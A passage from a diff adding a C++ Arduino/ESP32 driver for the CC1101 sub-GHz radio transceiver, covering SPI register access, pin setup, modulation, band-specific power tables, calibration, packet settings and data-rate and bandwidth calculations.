:CC1101 reset //details refer datasheet of CC1101/CC1100// +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::Reset (void) +{ + SpiStart(); + digitalWrite(SS_PIN[currentModule], LOW); + delay(1); + digitalWrite(SS_PIN[currentModule], HIGH); + delay(1); + digitalWrite(SS_PIN[currentModule], LOW); + waitMisoLow(MISO_PIN[currentModule], 5000); // 5ms timeout for reset + CCSPI.transfer(CC1101_SRES); + waitMisoLow(MISO_PIN[currentModule], 5000); // 5ms timeout for reset + digitalWrite(SS_PIN[currentModule], HIGH); + SpiEnd(); +} +/**************************************************************** +*FUNCTION NAME:Init +*FUNCTION :CC1101 initialization +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::Init(void) +{ + setSpi(); + SpiStart(); //spi initialization + digitalWrite(SS_PIN[currentModule], HIGH); +#if !defined(ESP32) && !defined(ARDUINO_ARCH_ESP32) + digitalWrite(SCK_PIN[currentModule], HIGH); + digitalWrite(MOSI_PIN[currentModule], LOW); +#endif + SpiEnd(); + Reset(); //CC1101 reset + RegConfigSettings(); //CC1101 register config +} +/**************************************************************** +*FUNCTION NAME:SpiWriteReg +*FUNCTION :CC1101 write data to register +*INPUT :addr: register address; value: register value +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::SpiWriteReg(byte addr, byte value) +{ + SpiStart(); + digitalWrite(SS_PIN[currentModule], LOW); + waitMisoLow(MISO_PIN[currentModule]); + CCSPI.transfer(addr); + CCSPI.transfer(value); + digitalWrite(SS_PIN[currentModule], HIGH); + SpiEnd(); +} +/**************************************************************** +*FUNCTION NAME:SpiWriteBurstReg +*FUNCTION :CC1101 write burst data to register +*INPUT :addr: register address; buffer:register value array; num:number to write +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::SpiWriteBurstReg(byte addr, byte *buffer, byte num) +{ + SpiStart(); + digitalWrite(SS_PIN[currentModule], LOW); + waitMisoLow(MISO_PIN[currentModule]); + + CCSPI.beginTransaction(SPISettings()); // Begin SPI transaction with appropriate settings + CCSPI.transfer(addr | WRITE_BURST); // Write the address with burst bit set + + for (byte i = 0; i < num; i++) { + CCSPI.transfer(buffer[i]); // Transfer data bytes + } + + digitalWrite(SS_PIN[currentModule], HIGH); // Set SS high to end communication + CCSPI.endTransaction(); // End SPI transaction + SpiEnd(); +} +/**************************************************************** +*FUNCTION NAME:SpiStrobe +*FUNCTION :CC1101 Strobe +*INPUT :strobe: command; //refer define in CC1101.h// +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::SpiStrobe(byte strobe) +{ + SpiStart(); + digitalWrite(SS_PIN[currentModule], LOW); + waitMisoLow(MISO_PIN[currentModule]); + + CCSPI.beginTransaction(SPISettings()); + CCSPI.transfer(strobe); + CCSPI.endTransaction(); + + digitalWrite(SS_PIN[currentModule], HIGH); + SpiEnd(); +} +/**************************************************************** +*FUNCTION NAME:SpiReadReg +*FUNCTION :CC1101 read data from register +*INPUT :addr: register address +*OUTPUT :register value +****************************************************************/ +byte CC1101_Radio::SpiReadReg(byte addr) +{ + SpiStart(); + digitalWrite(SS_PIN[currentModule], LOW); + waitMisoLow(MISO_PIN[currentModule]); + + CCSPI.beginTransaction(SPISettings()); + CCSPI.transfer(addr | READ_SINGLE); + byte value = CCSPI.transfer(0); + CCSPI.endTransaction(); + + digitalWrite(SS_PIN[currentModule], HIGH); + SpiEnd(); + return value; + +} + +/**************************************************************** +*FUNCTION NAME:SpiReadBurstReg +*FUNCTION :CC1101 read burst data from register +*INPUT :addr: register address; buffer:array to store register value; num: number to read +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::SpiReadBurstReg(byte addr, byte *buffer, byte num) +{ + SpiStart(); + digitalWrite(SS_PIN[currentModule], LOW); + waitMisoLow(MISO_PIN[currentModule]); + + CCSPI.beginTransaction(SPISettings()); + CCSPI.transfer(addr | READ_BURST); + for (byte i = 0; i < num; i++) { + buffer[i] = CCSPI.transfer(0); + } + CCSPI.endTransaction(); + + digitalWrite(SS_PIN[currentModule], HIGH); + SpiEnd(); +} + +/**************************************************************** +*FUNCTION NAME:SpiReadStatus +*FUNCTION :CC1101 read status register +*INPUT :addr: register address +*OUTPUT :status value +****************************************************************/ +byte CC1101_Radio::SpiReadStatus(byte addr) +{ + SpiStart(); + digitalWrite(SS_PIN[currentModule], LOW); + waitMisoLow(MISO_PIN[currentModule]); + + CCSPI.beginTransaction(SPISettings()); + CCSPI.transfer(addr | READ_BURST); + byte value = CCSPI.transfer(0); + CCSPI.endTransaction(); + + digitalWrite(SS_PIN[currentModule], HIGH); + SpiEnd(); + return value; +} +/**************************************************************** +*FUNCTION NAME:SPI pin Settings +*FUNCTION :Set Spi pins +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setSpi(void){ + if (spi[currentModule] == 0){ + #if defined __AVR_ATmega168__ || defined __AVR_ATmega328P__ + SCK_PIN[currentModule] = 13; MISO_PIN[currentModule] = 12; MOSI_PIN[currentModule] = 11; SS_PIN[currentModule] = 10; + #elif defined __AVR_ATmega1280__ || defined __AVR_ATmega2560__ + SCK_PIN[currentModule] = 52; MISO_PIN[currentModule] = 50; MOSI_PIN[currentModule] = 51; SS_PIN[currentModule] = 53; + #elif ESP8266 + SCK_PIN[currentModule] = 14; MISO_PIN[currentModule] = 12; MOSI_PIN[currentModule] = 13; SS_PIN[currentModule] = 15; + #elif ESP32 + SCK_PIN[currentModule] = 18; MISO_PIN[currentModule] = 19; MOSI_PIN[currentModule] = 23; SS_PIN[currentModule] = 5; + #else + SCK_PIN[currentModule] = 13; MISO_PIN[currentModule] = 12; MOSI_PIN[currentModule] = 11; SS_PIN[currentModule] = 10; + #endif +} +} +/**************************************************************** +*FUNCTION NAME:COSTUM SPI +*FUNCTION :set costum spi pins. +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setSpiPin(byte sck, byte miso, byte mosi, byte ss){ + spi[currentModule] = 1; + SCK_PIN[currentModule] = sck; + MISO_PIN[currentModule] = miso; + MOSI_PIN[currentModule] = mosi; + SS_PIN[currentModule] = ss; +} +/**************************************************************** +*FUNCTION NAME:COSTUM SPI +*FUNCTION :set costum spi pins. +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul){ + spi[modul] = 1; + SCK_PIN[modul] = sck; + MISO_PIN[modul] = miso; + MOSI_PIN[modul] = mosi; + SS_PIN[modul] = ss; +} +/**************************************************************** +*FUNCTION NAME:GDO Pin settings +*FUNCTION :set GDO Pins +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setGDO(byte gdo0, byte gdo2){ +GDO0[currentModule] = gdo0; +GDO2[currentModule] = gdo2; +GDO_Set(); +} +/**************************************************************** +*FUNCTION NAME:GDO0 Pin setting +*FUNCTION :set GDO0 Pin +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setGDO0(byte gdo0){ +GDO0[currentModule] = gdo0; +GDO0_Set(); +} +/**************************************************************** +*FUNCTION NAME:GDO Pin settings +*FUNCTION :add GDO Pins +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::addGDO(byte gdo0, byte gdo2, byte modul){ +GDO0[modul] = gdo0; +GDO2[modul] = gdo2; +gdo_set[modul]=2; +GDO_Set(); +} +/**************************************************************** +*FUNCTION NAME:add GDO0 Pin +*FUNCTION :add GDO0 Pin +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::addGDO0(byte gdo0, byte modul){ +GDO0[modul] = gdo0; +gdo_set[modul]=1; +GDO0_Set(); +} +/**************************************************************** +*FUNCTION NAME:set Modul +*FUNCTION :change modul +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setModul(byte modul){ + if (gdo_set[modul]==1){ + GDO0_Set(); + } + else if (gdo_set[modul]==2){ + GDO_Set(); + } + currentModule = modul; +} + +void CC1101_Radio::selectModule(byte module) +{ + currentModule = module; +} +/**************************************************************** +*FUNCTION NAME:CCMode +*FUNCTION :Format of RX and TX data +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setCCMode(bool s){ +ccmode[currentModule] = s; +if (ccmode[currentModule] == 1){ +SpiWriteReg(CC1101_IOCFG2, 0x0B); +SpiWriteReg(CC1101_IOCFG0, 0x06); +SpiWriteReg(CC1101_PKTCTRL0, 0x05); +SpiWriteReg(CC1101_MDMCFG3, 0xF8); +SpiWriteReg(CC1101_MDMCFG4,11+m4RxBw[currentModule]); +}else{ +SpiWriteReg(CC1101_IOCFG2, 0x0D); +SpiWriteReg(CC1101_IOCFG0, 0x0D); +SpiWriteReg(CC1101_PKTCTRL0, 0x32); +SpiWriteReg(CC1101_MDMCFG3, 0x93); +SpiWriteReg(CC1101_MDMCFG4, 7+m4RxBw[currentModule]); +} +setModulation(modulation[currentModule]); +} +/**************************************************************** +*FUNCTION NAME:Modulation +*FUNCTION :set CC1101 Modulation +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setModulation(byte m){ + if (m > 4) + m = 4; + + modulation[currentModule] = m; + Split_MDMCFG2(); + + static const byte modulationModes[] = {0x00, 0x10, 0x30, 0x40, 0x70}; + static const byte frendValues[] = {0x10, 0x10, 0x11, 0x10, 0x10}; + + m2MODFM[currentModule] = modulationModes[m]; + frend0[currentModule] = frendValues[m]; + + SpiWriteReg(CC1101_MDMCFG2, m2DCOFF[currentModule] + m2MODFM[currentModule] + m2MANCH[currentModule] + m2SYNCM[currentModule]); + SpiWriteReg(CC1101_FREND0, frend0[currentModule]); + setPA(pa[currentModule]); +} +/**************************************************************** +*FUNCTION NAME:PA Power +*FUNCTION :set CC1101 PA Power +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setPA(int p) +{ + int a = 0; // Default to minimum power if frequency not in any known band + pa[currentModule] = p; + float mhz = getFrequency(); // Read actual frequency from registers + +if (mhz >= 300 && mhz <= 348){ +if (pa[currentModule] <= -30){a = PA_TABLE_315[0];} +else if (pa[currentModule] > -30 && pa[currentModule] <= -20){a = PA_TABLE_315[1];} +else if (pa[currentModule] > -20 && pa[currentModule] <= -15){a = PA_TABLE_315[2];} +else if (pa[currentModule] > -15 && pa[currentModule] <= -10){a = PA_TABLE_315[3];} +else if (pa[currentModule] > -10 && pa[currentModule] <= 0){a = PA_TABLE_315[4];} +else if (pa[currentModule] > 0 && pa[currentModule] <= 5){a = PA_TABLE_315[5];} +else if (pa[currentModule] > 5 && pa[currentModule] <= 7){a = PA_TABLE_315[6];} +else if (pa[currentModule] > 7){a = PA_TABLE_315[7];} +last_pa[currentModule] = 1; +} +else if (mhz >= 378 && mhz <= 464){ +if (pa[currentModule] <= -30){a = PA_TABLE_433[0];} +else if (pa[currentModule] > -30 && pa[currentModule] <= -20){a = PA_TABLE_433[1];} +else if (pa[currentModule] > -20 && pa[currentModule] <= -15){a = PA_TABLE_433[2];} +else if (pa[currentModule] > -15 && pa[currentModule] <= -10){a = PA_TABLE_433[3];} +else if (pa[currentModule] > -10 && pa[currentModule] <= 0){a = PA_TABLE_433[4];} +else if (pa[currentModule] > 0 && pa[currentModule] <= 5){a = PA_TABLE_433[5];} +else if (pa[currentModule] > 5 && pa[currentModule] <= 7){a = PA_TABLE_433[6];} +else if (pa[currentModule] > 7){a = PA_TABLE_433[7];} +last_pa[currentModule] = 2; +} +else if (mhz >= 779 && mhz <= 899.99){ +if (pa[currentModule] <= -30){a = PA_TABLE_868[0];} +else if (pa[currentModule] > -30 && pa[currentModule] <= -20){a = PA_TABLE_868[1];} +else if (pa[currentModule] > -20 && pa[currentModule] <= -15){a = PA_TABLE_868[2];} +else if (pa[currentModule] > -15 && pa[currentModule] <= -10){a = PA_TABLE_868[3];} +else if (pa[currentModule] > -10 && pa[currentModule] <= -6){a = PA_TABLE_868[4];} +else if (pa[currentModule] > -6 && pa[currentModule] <= 0){a = PA_TABLE_868[5];} +else if (pa[currentModule] > 0 && pa[currentModule] <= 5){a = PA_TABLE_868[6];} +else if (pa[currentModule] > 5 && pa[currentModule] <= 7){a = PA_TABLE_868[7];} +else if (pa[currentModule] > 7 && pa[currentModule] <= 10){a = PA_TABLE_868[8];} +else if (pa[currentModule] > 10){a = PA_TABLE_868[9];} +last_pa[currentModule] = 3; +} +else if (mhz >= 900 && mhz <= 928){ +if (pa[currentModule] <= -30){a = PA_TABLE_915[0];} +else if (pa[currentModule] > -30 && pa[currentModule] <= -20){a = PA_TABLE_915[1];} +else if (pa[currentModule] > -20 && pa[currentModule] <= -15){a = PA_TABLE_915[2];} +else if (pa[currentModule] > -15 && pa[currentModule] <= -10){a = PA_TABLE_915[3];} +else if (pa[currentModule] > -10 && pa[currentModule] <= -6){a = PA_TABLE_915[4];} +else if (pa[currentModule] > -6 && pa[currentModule] <= 0){a = PA_TABLE_915[5];} +else if (pa[currentModule] > 0 && pa[currentModule] <= 5){a = PA_TABLE_915[6];} +else if (pa[currentModule] > 5 && pa[currentModule] <= 7){a = PA_TABLE_915[7];} +else if (pa[currentModule] > 7 && pa[currentModule] <= 10){a = PA_TABLE_915[8];} +else if (pa[currentModule] > 10){a = PA_TABLE_915[9];} +last_pa[currentModule] = 4; +} + +// Read modulation from MDMCFG2 register instead of using internal variable +// This ensures we always use the actual modulation set in the chip (e.g., from preset) +Split_MDMCFG2(); // Reads MDMCFG2 and extracts m2MODFM[currentModule] + +// For ASK/OOK (m2MODFM = 0x30): PA_TABLE[0] = 0, PA_TABLE[1] = value +// For other modulations: PA_TABLE[0] = value, PA_TABLE[1] = 0 +if (m2MODFM[currentModule] == 0x30){ +PA_TABLE[0] = 0; +PA_TABLE[1] = a; +}else{ +PA_TABLE[0] = a; +PA_TABLE[1] = 0; +} +SpiWriteBurstReg(CC1101_PATABLE,PA_TABLE,8); +} +/**************************************************************** +*FUNCTION NAME:Frequency Calculator +*FUNCTION :Calculate the basic frequency. +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setMHZ(float mhz){ +MHz[currentModule] = mhz; + +unsigned long freq = static_cast((mhz * 65536) / 26.0); +SpiWriteReg(CC1101_FREQ2, (byte)(freq >> 16)); +SpiWriteReg(CC1101_FREQ1, (byte)(freq >> 8)); +SpiWriteReg(CC1101_FREQ0, (byte)(freq)); + +Calibrate(); +} +/**************************************************************** +*FUNCTION NAME:Calibrate +*FUNCTION :Calibrate frequency +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::Calibrate(void){ + float mhz = getFrequency(); // Read actual frequency from registers + +if (mhz >= 300 && mhz <= 348){ +SpiWriteReg(CC1101_FSCTRL0, (byte)map((long)(mhz * 100), 30000, 34800, clb1[0], clb1[1])); +if (mhz < 322.88){SpiWriteReg(CC1101_TEST0,0x0B);} +else{ +SpiWriteReg(CC1101_TEST0,0x09); +int s = this->SpiReadStatus(CC1101_FSCAL2); +if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} +if (last_pa[currentModule] != 1){setPA(pa[currentModule]);} +} +} +else if (mhz >= 378 && mhz <= 464){ +SpiWriteReg(CC1101_FSCTRL0, (byte)map((long)(mhz * 100), 37800, 46400, clb2[0], clb2[1])); +if (mhz < 430.5){SpiWriteReg(CC1101_TEST0,0x0B);} +else{ +SpiWriteReg(CC1101_TEST0,0x09); +int s = this->SpiReadStatus(CC1101_FSCAL2); +if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} +if (last_pa[currentModule] != 2){setPA(pa[currentModule]);} +} +} +else if (mhz >= 779 && mhz <= 899.99){ +SpiWriteReg(CC1101_FSCTRL0, (byte)map((long)(mhz * 100), 77900, 89900, clb3[0], clb3[1])); +if (mhz < 861){SpiWriteReg(CC1101_TEST0,0x0B);} +else{ +SpiWriteReg(CC1101_TEST0,0x09); +int s = this->SpiReadStatus(CC1101_FSCAL2); +if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} +if (last_pa[currentModule] != 3){setPA(pa[currentModule]);} +} +} +else if (mhz >= 900 && mhz <= 928){ +SpiWriteReg(CC1101_FSCTRL0, (byte)map((long)(mhz * 100), 90000, 92800, clb4[0], clb4[1])); +SpiWriteReg(CC1101_TEST0,0x09); +int s = this->SpiReadStatus(CC1101_FSCAL2); +if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} +if (last_pa[currentModule] != 4){setPA(pa[currentModule]);} +} +} +/**************************************************************** +*FUNCTION NAME:Calibration offset +*FUNCTION :Set calibration offset +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setClb(byte b, byte s, byte e){ +if (b == 1){ +clb1[0]=s; +clb1[1]=e; +} +else if (b == 2){ +clb2[0]=s; +clb2[1]=e; +} +else if (b == 3){ +clb3[0]=s; +clb3[1]=e; +} +else if (b == 4){ +clb4[0]=s; +clb4[1]=e; +} +} +/**************************************************************** +*FUNCTION NAME:getCC1101 +*FUNCTION :Test Spi connection and return 1 when true. +*INPUT :none +*OUTPUT :none +****************************************************************/ +bool CC1101_Radio::getCC1101(void){ +setSpi(); +if (SpiReadStatus(0x31)>0){ +return 1; +}else{ +return 0; +} +} +/**************************************************************** +*FUNCTION NAME:getMode +*FUNCTION :Return the Mode. Sidle = 0, TX = 1, Rx = 2. +*INPUT :none +*OUTPUT :none +****************************************************************/ +byte CC1101_Radio::getMode(void){ +return trxstate[currentModule]; +} +/**************************************************************** +*FUNCTION NAME:getModeForModule +*FUNCTION :Return the Mode for a specific module. Sidle = 0, TX = 1, Rx = 2. +*INPUT :module: The module index to get the mode for. +*OUTPUT :The mode of the specified module. +****************************************************************/ +byte CC1101_Radio::getModeForModule(int module) const { + extern byte trxstate[]; + return trxstate[module]; +} +/**************************************************************** +*FUNCTION NAME:Set Sync_Word +*FUNCTION :Sync Word +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setSyncWord(byte sh, byte sl){ +SpiWriteReg(CC1101_SYNC1, sh); +SpiWriteReg(CC1101_SYNC0, sl); +} +/**************************************************************** +*FUNCTION NAME:Set ADDR +*FUNCTION :Address used for packet filtration. Optional broadcast addresses are 0 (0x00) and 255 (0xFF). +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setAddr(byte v){ +SpiWriteReg(CC1101_ADDR, v); +} +/**************************************************************** +*FUNCTION NAME:Set PQT +*FUNCTION :Preamble quality estimator threshold +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setPQT(byte v){ +Split_PKTCTRL1(); +pc1PQT[currentModule] = 0; +if (v>7){v=7;} +pc1PQT[currentModule] = v*32; +SpiWriteReg(CC1101_PKTCTRL1, pc1PQT[currentModule]+pc1CRC_AF[currentModule]+pc1APP_ST[currentModule]+pc1ADRCHK[currentModule]); +} +/**************************************************************** +*FUNCTION NAME:Set CRC_AUTOFLUSH +*FUNCTION :Enable automatic flush of RX FIFO when CRC is not OK +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setCRC_AF(bool v){ +Split_PKTCTRL1(); +pc1CRC_AF[currentModule] = 0; +if (v==1){pc1CRC_AF[currentModule]=8;} +SpiWriteReg(CC1101_PKTCTRL1, pc1PQT[currentModule]+pc1CRC_AF[currentModule]+pc1APP_ST[currentModule]+pc1ADRCHK[currentModule]); +} +/**************************************************************** +*FUNCTION NAME:Set APPEND_STATUS +*FUNCTION :When enabled, two status bytes will be appended to the payload of the packet +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setAppendStatus(bool v){ +Split_PKTCTRL1(); +pc1APP_ST[currentModule] = 0; +if (v==1){pc1APP_ST[currentModule]=4;} +SpiWriteReg(CC1101_PKTCTRL1, pc1PQT[currentModule]+pc1CRC_AF[currentModule]+pc1APP_ST[currentModule]+pc1ADRCHK[currentModule]); +} +/**************************************************************** +*FUNCTION NAME:Set ADR_CHK +*FUNCTION :Controls address check configuration of received packages +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setAdrChk(byte v){ +Split_PKTCTRL1(); +pc1ADRCHK[currentModule] = 0; +if (v>3){v=3;} +pc1ADRCHK[currentModule] = v; +SpiWriteReg(CC1101_PKTCTRL1, pc1PQT[currentModule]+pc1CRC_AF[currentModule]+pc1APP_ST[currentModule]+pc1ADRCHK[currentModule]); +} +/**************************************************************** +*FUNCTION NAME:Set WHITE_DATA +*FUNCTION :Turn data whitening on / off. +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setWhiteData(bool v){ +Split_PKTCTRL0(); +pc0WDATA[currentModule] = 0; +if (v == 1){pc0WDATA[currentModule]=64;} +SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA[currentModule]+pc0PktForm[currentModule]+pc0CRC_EN[currentModule]+pc0LenConf[currentModule]); +} +/**************************************************************** +*FUNCTION NAME:Set PKT_FORMAT +*FUNCTION :Format of RX and TX data +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setPktFormat(byte v){ +Split_PKTCTRL0(); +pc0PktForm[currentModule] = 0; +if (v>3){v=3;} +pc0PktForm[currentModule] = v*16; +SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA[currentModule]+pc0PktForm[currentModule]+pc0CRC_EN[currentModule]+pc0LenConf[currentModule]); +} +/**************************************************************** +*FUNCTION NAME:Set CRC +*FUNCTION :CRC calculation in TX and CRC check in RX +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setCrc(bool v){ +Split_PKTCTRL0(); +pc0CRC_EN[currentModule] = 0; +if (v==1){pc0CRC_EN[currentModule]=4;} +SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA[currentModule]+pc0PktForm[currentModule]+pc0CRC_EN[currentModule]+pc0LenConf[currentModule]); +} +/**************************************************************** +*FUNCTION NAME:Set LENGTH_CONFIG +*FUNCTION :Configure the packet length +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setLengthConfig(byte v){ +Split_PKTCTRL0(); +pc0LenConf[currentModule] = 0; +if (v>3){v=3;} +pc0LenConf[currentModule] = v; +SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA[currentModule]+pc0PktForm[currentModule]+pc0CRC_EN[currentModule]+pc0LenConf[currentModule]); +} +/**************************************************************** +*FUNCTION NAME:Set PACKET_LENGTH +*FUNCTION :Indicates the packet length +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setPacketLength(byte v){ +SpiWriteReg(CC1101_PKTLEN, v); +} +/**************************************************************** +*FUNCTION NAME:Set DCFILT_OFF +*FUNCTION :Disable digital DC blocking filter before demodulator +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setDcFilterOff(bool v){ +dcOffFlag[currentModule] = v; +Split_MDMCFG2(); +m2DCOFF[currentModule] = 0; +if (v==1){m2DCOFF[currentModule]=128;} +SpiWriteReg(CC1101_MDMCFG2, m2DCOFF[currentModule]+m2MODFM[currentModule]+m2MANCH[currentModule]+m2SYNCM[currentModule]); +} +/**************************************************************** +*FUNCTION NAME:Set MANCHESTER +*FUNCTION :Enables Manchester encoding/decoding +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setManchester(bool v){ +Split_MDMCFG2(); +m2MANCH[currentModule] = 0; +if (v==1){m2MANCH[currentModule]=8;} +SpiWriteReg(CC1101_MDMCFG2, m2DCOFF[currentModule]+m2MODFM[currentModule]+m2MANCH[currentModule]+m2SYNCM[currentModule]); +} +/**************************************************************** +*FUNCTION NAME:Set SYNC_MODE +*FUNCTION :Combined sync-word qualifier mode +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setSyncMode(byte v){ +syncModeFlag[currentModule] = v; +Split_MDMCFG2(); +m2SYNCM[currentModule] = 0; +if (v>7){v=7;} +m2SYNCM[currentModule]=v; +SpiWriteReg(CC1101_MDMCFG2, m2DCOFF[currentModule]+m2MODFM[currentModule]+m2MANCH[currentModule]+m2SYNCM[currentModule]); +} +/**************************************************************** +*FUNCTION NAME:Set FEC +*FUNCTION :Enable Forward Error Correction (FEC) +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setFEC(bool v){ +Split_MDMCFG1(); +m1FEC[currentModule]=0; +if (v==1){m1FEC[currentModule]=128;} +SpiWriteReg(CC1101_MDMCFG1, m1FEC[currentModule]+m1PRE[currentModule]+m1CHSP[currentModule]); +} +/**************************************************************** +*FUNCTION NAME:Set PRE +*FUNCTION :Sets the minimum number of preamble bytes to be transmitted. +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setPRE(byte v){ +Split_MDMCFG1(); +m1PRE[currentModule]=0; +if (v>7){v=7;} +m1PRE[currentModule] = v*16; +SpiWriteReg(CC1101_MDMCFG1, m1FEC[currentModule]+m1PRE[currentModule]+m1CHSP[currentModule]); +} +/**************************************************************** +*FUNCTION NAME:Set Channel +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setChannel(byte ch){ +chan[currentModule] = ch; +SpiWriteReg(CC1101_CHANNR, chan[currentModule]); +} +/**************************************************************** +*FUNCTION NAME:Set Channel spacing +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setChsp(float f){ +Split_MDMCFG1(); +byte MDMCFG0 = 0; +m1CHSP[currentModule] = 0; +if (f > 405.456543){f = 405.456543;} +if (f < 25.390625){f = 25.390625;} +for (int i = 0; i<5; i++){ +if (f <= 50.682068){ +f -= 25.390625; +f /= 0.0991825; +MDMCFG0 = f; +float s1 = (f - MDMCFG0) *10; +if (s1 >= 5){MDMCFG0++;} +i = 5; +}else{ +m1CHSP[currentModule]++; +f/=2; +} +} +SpiWriteReg(19,m1CHSP[currentModule]+m1FEC[currentModule]+m1PRE[currentModule]); +SpiWriteReg(20,MDMCFG0); +} +/**************************************************************** +*FUNCTION NAME:Set Receive bandwidth +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setRxBW(float f){ +bwValue[currentModule] = f; +Split_MDMCFG4(); +int s1 = 3; +int s2 = 3; +for (int i = 0; i<3; i++){ +if (f > 101.5625){f/=2; s1--;} +else{i=3;} +} +for (int i = 0; i<3; i++){ +if (f > 58.1){f/=1.25; s2--;} +else{i=3;} +} +s1 *= 64; +s2 *= 16; +m4RxBw[currentModule] = s1 + s2; +SpiWriteReg(16,m4RxBw[currentModule]+m4DaRa[currentModule]); +} +/**************************************************************** +*FUNCTION NAME:Set Data Rate +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setDRate(float d){ +dataRate[currentModule] = d; +Split_MDMCFG4(); +float c = d; +byte MDMCFG3 = 0; +if (c > 1621.83){c = 1621.83;} +if (c < 0.0247955){c = 0.0247955;} +m4DaRa[currentModule] = 0; +for (int i = 0; i<20; i++){ +if (c <= 0.0494942){ +c = c - 0.0247955; +c = c / 0.00009685; +MDMCFG3 = c; +float s1 = (c - MDMCFG3) *10; +if (s1 >= 5){MDMCFG3++;} +i = 20; +}else{ +m4DaRa[currentModule]++; +c = c/2; +} +} +SpiWriteReg(16, m4RxBw[currentModule]+m4DaRa[currentModule]); +SpiWriteReg(17, MDMCFG3); +} +/**************************************************************** +*FUNCTION NAME:Set Devitation +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setDeviation(float d) { + const float fXOSC = 26e3; + const float baseDeviation = fXOSC / 131072.0; + + if (d > 380.859375) { + d = 380.859375; + } else if (d < 1.586914) { + d = 1.586914; + } + + int bestRegisterValue = 0; + float bestDeviation = 0; + float smallestDifference = 1e30; + + for (int exponent = 0; exponent < 8; exponent++) { + for (int mantissa = 0; mantissa < 8; mantissa++) { + float deviation = baseDeviation * (8 + mantissa) * (1 << exponent); + float difference = fabs(d - deviation); + + if (difference < smallestDifference) { + smallestDifference = difference; + bestDeviation = deviation; + bestRegisterValue = (exponent << 4) | (mantissa & 0x07); + } + } + } + bestRegisterValue &= 0x77; + SpiWriteReg(21, bestRegisterValue); +} + +/**************************************************************** +*FUNCTION NAME:Split PKTCTRL0 +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::Split_PKTCTRL1(void){ +int calc = SpiReadStatus(7); +pc1PQT[currentModule] = 0; +pc1CRC_AF[currentModule] = 0; +pc1APP_ST[currentModule] = 0; +pc1ADRCHK[currentModule] = 0; +for (bool i = 0; i==0;){ +if (calc >= 32){calc-=32; pc1PQT[currentModule]+=32;} +else if (calc >= 8){calc-=8; pc1CRC_AF[currentModule]+=8;} +else if (calc >= 4){calc-=4; pc1APP_ST[currentModule]+=4;} +else {pc1ADRCHK[currentModule] = calc; i=1;} +} +} +/**************************************************************** +*FUNCTION NAME:Split PKTCTRL0 +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::Split_PKTCTRL0(void){ +int calc = SpiReadStatus(8); +pc0WDATA[currentModule] = 0; +pc0PktForm[currentModule] = 0; +pc0CRC_EN[currentModule] = 0; +pc0LenConf[currentModule] = 0; +for (bool i = 0; i==0;){ +if (calc >= 64){calc-=64; pc0WDATA[currentModule]+=64;} +else if (calc >= 16){calc-=16; pc0PktForm[currentModule]+=16;} +else if (calc >= 4){calc-=4; pc0CRC_EN[currentModule]+=4;} +else {pc0LenConf[currentModule] = calc; i=1;} +} +} +/**************************************************************** +*FUNCTION NAME:Split MDMCFG1 +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::Split_MDMCFG1(void){ +int calc = SpiReadStatus(19); +m1FEC[currentModule] = 0; 